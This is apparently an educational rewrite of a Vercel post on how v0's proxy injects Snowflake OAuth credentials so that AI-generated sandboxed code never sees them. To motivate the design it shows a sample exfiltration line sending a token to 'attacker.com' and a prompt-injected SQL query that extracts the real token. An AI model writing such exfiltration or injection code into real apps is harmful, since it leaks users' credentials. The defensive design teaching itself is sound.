How v0 Uses Snowflake Without Exposing OAuth Tokens

Peter Bubenik · Vercel · · Source
Image for How v0 authenticates to Snowflake without exposing the user's OAuth token

Step-by-Step Teaching

Step 1: Understand the Core Problem

The Fundamental Tension

When AI generates code that needs to talk to an external service (like a database), it faces a contradiction:

Generated code needs credentials to authenticate
         ↕
Generated code should NEVER see real credentials

Why is this dangerous? AI-generated code:

  • Runs without human review
  • Can be manipulated via prompt injection attacks
  • Could accidentally or maliciously leak credentials through logs, API responses, or network requests

The Specific Scenario

User connects Snowflake account
         ↓
v0 generates an app that queries Snowflake
         ↓
That app runs in a sandbox
         ↓
❓ How does it authenticate without holding the real token?

Step 2: Understand Why "Just Isolate It" Doesn't Work

A natural first instinct is: "Put the code in an isolated sandbox. Problem solved."

This is wrong. Here's why:

Sandbox isolation protects:          Sandbox isolation does NOT protect:
✅ Rest of system from sandbox       ❌ Secrets INSIDE the sandbox
✅ File system access outside        ❌ A token the code can already read
✅ Network access outside            ❌ Data the code can return in a response

Concrete Attack Example

If a real token is placed inside the sandbox, generated code could:

// Malicious or prompt-injected generated code
const token = fs.readFileSync('/path/to/token');

// Leak it via:
console.log(token);                    // logs
return { data: token };                // API response
fetch('attacker.com', { body: token }) // external request

Key insight: Once a secret is readable inside the sandbox, isolation provides zero protection for that secret.


Step 3: Understand the Proxy Architecture

Instead of putting credentials inside the sandbox, v0 routes all Snowflake traffic through an external proxy.

The Request Flow

┌─────────────────────────────┐
│  Generated App (Sandbox)    │
│  Uses normal Snowflake SDK  │
└────────────┬────────────────┘
             │ Snowflake request
             ▼
┌─────────────────────────────┐
│  Sandbox Firewall           │
│  Intercepts all traffic     │
│  to Snowflake host          │
└────────────┬────────────────┘
             │ Forwards to proxy
             ▼
┌─────────────────────────────┐
│  v0 Snowflake Proxy         │
│  1. Verifies sandbox OIDC   │
│  2. Looks up user session   │
│  3. Mints fresh credential  │
│  4. Injects into request    │
└────────────┬────────────────┘
             │ Authenticated request
             ▼
┌─────────────────────────────┐
│  Snowflake Account Host     │
└─────────────────────────────┘

How TLS Interception Works

The firewall needs to read encrypted HTTPS traffic. It does this by:

Normal HTTPS:
Client → [encrypted with Snowflake's cert] → Snowflake
(proxy cannot read this)

v0 Approach:
Sandbox trusts a custom Certificate Authority (CA)
Client → [encrypted with custom CA] → Firewall → [re-encrypted] → Snowflake
(proxy CAN read and rewrite this traffic)

The sandbox automatically trusts this CA, so the Snowflake SDK works normally with full certificate validation.


Step 4: Understand the Placeholder Strategy

The Compatibility Problem

Snowflake clients (SDK, CLI) expect to find credentials in specific locations:

  • Token files on the filesystem
  • Authorization headers
  • Login request bodies

If you remove all credentials from the sandbox, the clients break.

The Placeholder Solution

What goes INTO the sandbox:
"PLACEHOLDER_TOKEN_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
(72-byte fixed, public string that grants ZERO access)

What NEVER goes into the sandbox:
The real OAuth token

The placeholder's only job is to make Snowflake clients behave normally — they see something token-shaped and proceed with their flow.

Sandbox filesystem:
~/.snowflake/token = "PLACEHOLDER_TOKEN_XXX..."  ← fake, harmless

Proxy server (outside sandbox):
user_real_token = "eyJhbGc..."                   ← real, protected

Step 5: Understand Why Naive Replacement Fails

The First (Wrong) Approach

The obvious implementation: find the placeholder anywhere in the request, replace it with the real token.

// DANGEROUS - Do not use
const text = await request.text();
const patched = text.replaceAll(placeholder, realToken);
request = new Request(request, { body: patched });

Why This Fails

Generated code controls parts of the request — including SQL query content.

-- Prompt-injected SQL query
SELECT 'PLACEHOLDER_TOKEN_XXX...' AS stolen_token FROM my_table;

After blind replacement:

-- What the proxy sends to Snowflake
SELECT 'eyJhbGc...(real OAuth token)...' AS stolen_token FROM my_table;

Snowflake executes this and returns the real token as query output — back into the sandbox.

Attack chain:
Attacker controls SQL → SQL contains placeholder → 
Proxy replaces placeholder with real token → 
Snowflake returns real token as data → 
Token is now inside sandbox → 
Credential leaked ✗

Key insight: You cannot safely replace text in attacker-controlled data. You must know which specific field carries authentication.


Step 6: Learn the Correct Approach — Field-Specific Injection

Snowflake requests come in three types. Each gets different treatment:

Type 1: SQL API Requests

Authentication location: Authorization header (server-controlled)
Body content:           SQL query (caller-controlled)

Proxy action:
✅ Set Authorization: Bearer <real_token> on the header
❌ Never touch the body

If placeholder appears in SQL body:
→ REJECT the request and log as misuse

Type 2: Login Requests

Authentication location: Specific JSON field in body
Body content:           Partially caller-controlled

Proxy action:
✅ Parse JSON structurally
✅ Set token at the exact login token field
✅ Re-serialize the body
❌ Never do text replacement

If placeholder appears anywhere else in body:
→ REJECT (fail closed)

Type 3: Post-Login Session Requests

Authentication: Snowflake-managed session tokens (already in sandbox)
Proxy action:   Pass through untouched — nothing to inject

Visual Summary

Request arrives at proxy
         │
         ├─ SQL API? → Inject into Authorization header only
         │             Reject if placeholder in body
         │
         ├─ Login?   → Parse JSON, inject into token field only
         │             Reject if placeholder elsewhere
         │
         └─ Session? → Pass through (no injection needed)

Step 7: Understand "Failing Closed"

A secure system should deny by default when anything is uncertain.

Rejection Conditions

The proxy rejects any request where:

ConditionWhy It Matters
Sandbox not bound to a chatCannot verify who is making the request
No user credential obtainableCannot authenticate safely
Snowflake account host cannot be derivedPrevents credential forwarding to wrong host
Placeholder outside approved fieldPossible injection attack
Login body cannot be parsed safelyCannot inject structurally

Additional Safeguards

Request size limits → Prevents oversized/compressed bodies from 
                      overwhelming the parser

Observability events → Every request logs: outcome, status, 
                       duration, injection location
                       (without logging the actual secrets)

Host validation → Proxy derives the Snowflake host from 
                  server-side credentials, not from 
                  what the generated code says

Step 8: Understand the Full Lifecycle

During Development (in v0 sandbox)

Sandbox has:     Placeholder token (harmless)
Proxy provides:  Real credential, injected at authentication fields only
Session tokens:  Short-lived, destroyed after each query

After Deployment (Snowpark Container Services)

User's OAuth token:  No longer involved
v0 proxy:            No longer involved
Authentication:      Service user token managed by Snowflake
                     Auto-rotated, mounted at /snowflake/session/token

The deployed app becomes fully independent with its own identity.


Step 9: The Five Security Rules (Summary)

Rule 1: Inject credentials ONLY into protocol-defined authentication fields
Rule 2: Reject and log any request using placeholder outside auth fields  
Rule 3: Token-bearing requests go ONLY to the connected Snowflake host
Rule 4: Credentials are minted and refreshed server-side (never in sandbox)
Rule 5: Generated code uses Snowflake without ever reading the real token

Concept Check: Test Your Understanding

Q1: Why doesn't sandbox isolation protect a secret that's already inside the sandbox?

Because the code running inside can read it and leak it through logs, responses, or outbound requests — isolation only controls what the sandbox can reach, not what it can do with data it already has.

Q2: What is the placeholder token and what is its only purpose?

A fixed, public, 72-byte string with no access rights. Its only job is to make Snowflake SDK/CLI flows behave normally, as if a credential exists.

Q3: Why does blind text replacement fail even with a placeholder?

Because generated code controls SQL query content. If the placeholder appears in a SQL string literal, the proxy replaces it with the real token, which Snowflake then returns as query output — leaking the credential back into the sandbox.

Q4: What is "failing closed" and why is it important?

Failing closed means rejecting requests when anything is uncertain or suspicious, rather than allowing them. It ensures that edge cases and attacks result in denial, not accidental credential exposure.


The General Principle

Although this article describes Snowflake specifically, the pattern applies universally:

Any time AI-generated code needs to authenticate to an external service:

❌ Don't put real credentials in the execution environment
❌ Don't do blind text replacement in attacker-controlled data
✅ Route requests through a server-side proxy
✅ Inject credentials only into protocol-defined authentication fields
✅ Fail closed on anything unexpected

More to study